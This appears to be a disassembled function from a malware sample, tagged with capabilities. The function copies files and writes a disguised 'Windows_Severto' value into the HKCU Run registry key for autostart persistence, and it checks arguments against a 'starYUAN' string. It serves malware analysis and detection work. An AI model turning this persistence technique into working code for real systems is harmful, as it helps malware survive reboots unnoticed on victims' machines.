Function at 0x100042a0
Capabilities:
Accept command line arguments
Copy file
Persist via run registry key
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xe8
xor eax, eax
mov dword [esp + 0xa8], 0
push esi
xorps xmm0, xmm0
mov dword [esp + 0x7c], eax
push edi
sub esp, 8
mov dword [esp + 0x68], eax
mov dword [esp + 0x48], eax
lea edx, [esp + 0x78]
mov dword [esp + 0x28], eax
lea ecx, [esp + 0xa8]
movaps xmmword [esp + 0xa8], xmm0
mov word [esp + 0xa8], ax
movaps xmmword [esp + 0x78], xmm0
mov word [esp + 0x78], ax
movaps xmmword [esp + 0x58], xmm0
mov word [esp + 0x58], ax
movaps xmmword [esp + 0x38], xmm0
mov word [esp + 0x38], ax
movaps xmmword [esp + 0x18], xmm0
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0xc0], 7
push eax
lea eax, [esp + 0x60]
mov dword [esp + 0x94], 7
push eax
mov dword [esp + 0x78], 7
mov dword [esp + 0x58], 7
mov dword [esp + 0x38], 0xf
call fcn.10003940
add esp, 0x14
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x10004490
cmp dword [esp + 0xc], 1
jne 0x10004490
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [esp + 0x44], 8
lea ecx, [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0xa0]
cmovae ecx, dword [esp + 0x30]
cmp dword [esp + 0xb4], 8
push 0
cmovae eax, dword [esp + 0xa4]
push ecx
push eax
call esi
cmp dword [esp + 0x64], 8
lea ecx, [esp + 0x50]
push 0
cmovae ecx, dword [esp + 0x54]
lea eax, [esp + 0x74]
cmp dword [esp + 0x88], 8
push ecx
cmovae eax, dword [esp + 0x78]
push eax
call esi
cmp dword [esp + 0x24], 0x10
lea edi, [esp + 0x10]
cmovae edi, dword [esp + 0x10]
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x100043f0
mov eax, dword [0x10015ce8]
sub esi, ecx
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov dword [esp + 0xe8], eax
mov ax, word [0x10015cec]
mov word [esp + 0xec], ax
lea eax, [esp + 0xc]
push eax
movups xmmword [esp + 0xc4], xmm0
push 0xf003f
movups xmm0, xmmword [0x10015cd0]
push 0
lea eax, [esp + 0xcc]
mov dword [esp + 0x18], 0
movups xmmword [esp + 0xdc], xmm0
push eax
movq xmm0, qword [0x10015ce0]
push 0x80000001
movq qword [esp + 0xf4], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000448b
push esi
push edi
push 1
push eax
push str.Windows_Severto
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.100015d0
push 8
xorps xmm0, xmm0
mov dword [esp + 0xd4], 0
push str.starYUAN
lea ecx, [esp + 0xc8]
movaps xmmword [esp + 0xc8], xmm0
mov dword [esp + 0xdc], 0
call fcn.10004a50
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, dword [esp + 0xc0]
mov dword [esp + 0xc], eax
test eax, eax
je 0x10004567
cmp dword [esp + 0x9c], 2
jne 0x10004567
mov ecx, dword [eax + 4]
mov edx, ecx
lea edi, [edx + 2]
nop word [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10004500
sub edx, edi
lea edi, [esp + 0xc0]
sar edx, 1
cmp dword [esp + 0xd4], 8
cmovae edi, esi
mov esi, dword [esp + 0xd0]
cmp esi, edx
jne 0x10004555
test esi, esi
je 0x10004543
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x10004555
add ecx, 2
sub esi, 1
jne 0x10004532
push dword [esp + 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
call fcn.100015d0
jmp 0x10004560
push dword [esp + 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
mov esi, dword [esp + 0xc0]
mov eax, dword [esp + 0xd4]
cmp eax, 8
jb 0x100045a2
lea ecx, [eax*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x10004598
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push esi
call fcn.10004f49
add esp, 8
mov ecx, dword [esp + 0x24]
cmp ecx, 0x10
jb 0x100045d8
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100045ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push edx
call fcn.10004f49
add esp, 8
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp ecx, 8
jb 0x10004629
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000461f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push edx
call fcn.10004f49
add esp, 8
mov ecx, dword [esp + 0x64]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 8
jb 0x1000467c
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10004672
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push edx
call fcn.10004f49
add esp, 8
mov ecx, dword [esp + 0x84]
xor eax, eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 7
mov word [esp + 0x50], ax
cmp ecx, 8
jb 0x100046ce
mov edx, dword [esp + 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100046c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push edx
call fcn.10004f49
add esp, 8
mov ecx, dword [esp + 0xb4]
xor eax, eax
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 7
mov word [esp + 0x70], ax
cmp ecx, 8
jb 0x10004729
mov edx, dword [esp + 0xa0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000471f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004734
push ecx
push edx
call fcn.10004f49
add esp, 8
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.10008644
int3